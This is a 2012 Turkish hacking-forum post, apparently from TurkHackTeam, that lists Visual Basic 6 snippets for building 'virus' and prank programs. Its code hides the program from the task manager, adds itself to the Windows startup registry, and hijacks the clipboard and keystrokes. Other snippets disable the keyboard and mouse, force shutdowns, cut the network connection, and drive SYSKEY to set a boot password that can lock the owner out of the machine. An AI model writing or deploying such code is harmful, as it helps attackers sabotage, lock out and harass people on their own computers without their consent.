- 21 Eyl 2012
- 3,129
- 1
Kod:
Private Sub Timer1_Timer()
Clipboard.Clear
Clipboard.SetText "turkhackteam.net"
End SubBu kod clipboarda turkhackteam.net kelimesini ekliyor ve copy/paste işleminde hep turkhackteam.net yazmasını sağlıyor
Kod:
me.hide
app.taskvisible=falseFormun açılmaması ve görev yöneticisinde gözükmemesi için bir kod
Kod:
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"XP Başlangıcına virüs eklemek için bir kod
Kod:
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Integer, ByVal lParam As Any) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Const WM_SETTEXT = &HC
Dim yazi As String
Private Sub Form_Load()
yazi = "TurkHackTeam"
App.TaskVisible = False
Form1.Hide
End Sub
Private Sub Timer1_Timer()
Dim tWnd As Long, bWnd As Long
tWnd = FindWindow("Shell_TrayWnd", vbNullString)
bWnd = FindWindowEx(tWnd, ByVal 0&, "BUTTON", vbNullString)
SendMessage bWnd, WM_SETTEXT, &O0, yazi
End SubBaşlat yazısını TurkHackTeam yazısı ile değiştirmek için bir kod
Kod:
Private Sub Form_Load()
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\LegalNoticeCaption", "Wardom"
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\LegalNoticeText", "Bilginin adresi"
End SubWindows başlamadan önce okunması için pencere açar
Kod:
Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long
Private Sub Command1_Click()
mciExecute ("set cdaudio door open")
End Sub
Private Sub Command2_Click()
mciExecute ("set cdaudio door closed")
End SubCdrom açma ve kapama işlemini yapar
Kod:
Private Sub Form_Load()
App.TaskVisible = False
Form1.Visible = False
Shell "SYSKEY.EXE", vbNormalFocus
SendKeys "G", 1
SendKeys "B", 1
SendKeys "{TAB}", 1
SendKeys "turkhackteam", 1
SendKeys "{TAB}", 1
SendKeys "wardom", 1
SendKeys "{ENTER}", 1
SendKeys "{ENTER}", 1
SendKeys "{ENTER}", 1
End
End SubXp başlangıç parolası koyar. xp açılmadan önce sorulur oturum açma ekranı gelmeden önce .
deneyenler şifrenin "turkhackteam" olduğunu unutmasın
Kod:
Shell "shutdown -s -t 20", vbHideBilgisayarı kapatır
Kod:
Shell "shutdown -r -t 20", vbHideYeniden başlatır
Kod:
Shell "shutdown -a", vbHideKapatma işleminden çıkar
Kod:
Shell "shutdown -f", vbHideÇalışan uygulamaları kapatmaya zorlar
Kullanım: shutdown [-i | -l | -s | -r | -a] [-f] [-m \\bilgisayaradı] [-t xx] [-c "yorum"] [-d up:xx:yy]
No args Bu iletiyi görüntüle (-? ile aynı)
-i GUI arabirimini görüntüle, ilk seçenek olmalı
-l Oturum kapat (-m seçeneği ile kullanılamaz)
-s Bilgisayarı kapat
-r Bilgisayarı kapat ve yeniden başlat
-a Sistem kapatmasından çık
-m \\bilgisayaradı Yeniden başlatmak/çıkmak için uzak bilgisayar
-t xx Kapatmak için zaman aşımını xx saniyeye ayarla
-c "comment" Kapatma yorumu (en çok 127 karakter)
-f çalışan uygulamaları uyarmadan kapanmaya zorlar
-d [p]:xx:yy Kapatma için neden kodu
u kullanıcı kodu
p planlı kapatma kodu
xx asıl neden kodu (256'dan küçük pozitif tamsayı)
yy ikincil neden kodu (65536'dan küçük pozitif tamsayı)
Kod:
Private Sub Form_Load()
Timer1.Interval = 100
End Sub
Private Sub Timer1_Timer()
Beep
End SubBilgisayarınız durmadan bip sesi çıkarır
Kod:
Dim speech As SpVoice
Private Sub Command1_Click()
speech.Speak Text1
End Sub
Private Sub Form_Load()
Set speech = New SpVoice
End SubYazıları sese çevirir. Korkutmak için idealdir
"Hacked Hacked Hacked" seslerinin geldiğini düşünsenize Bu uygulama için 1 textbox 1 button gerekir ayrıca project > preferences sekmesinden microsoft speech object library seçmeniz lazım zaten kodları okursanız anlarsınız
Kod:
Private Sub Form_Load()
Printer.Print "TurkHackTeam.Net/Org - Hacking And Security Platform"
End SubYazıcı durmadan "TurkHackTeam.Net/Org - Hacking And Security Platform" yazısını basar
Kod:
Private Sub Form_Load()
Timer1.Interval = 100
End Sub
Private Sub Timer1_Timer()
SendKeys "hacked", 1
End SubKlavyeden yazılan her yazı "hacked" kelimesine dönüşür
Kod:
Shell "ipconfig /release"İnternet bağlantısını keser
Kod:
Shell "ipconfig /renew"Tüm bağlantıları yeniler. Yeni IP adresi alıp internete bağlar. IP değiştirmek için ideal (deneyenler konudan diğer kullanıcılara önerirse mutlu olurum)
Kod:
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Sub Form_Load()
BlockInput True
End SubKlavye ve fareyi etkisiz hale getirir
Son düzenleme:
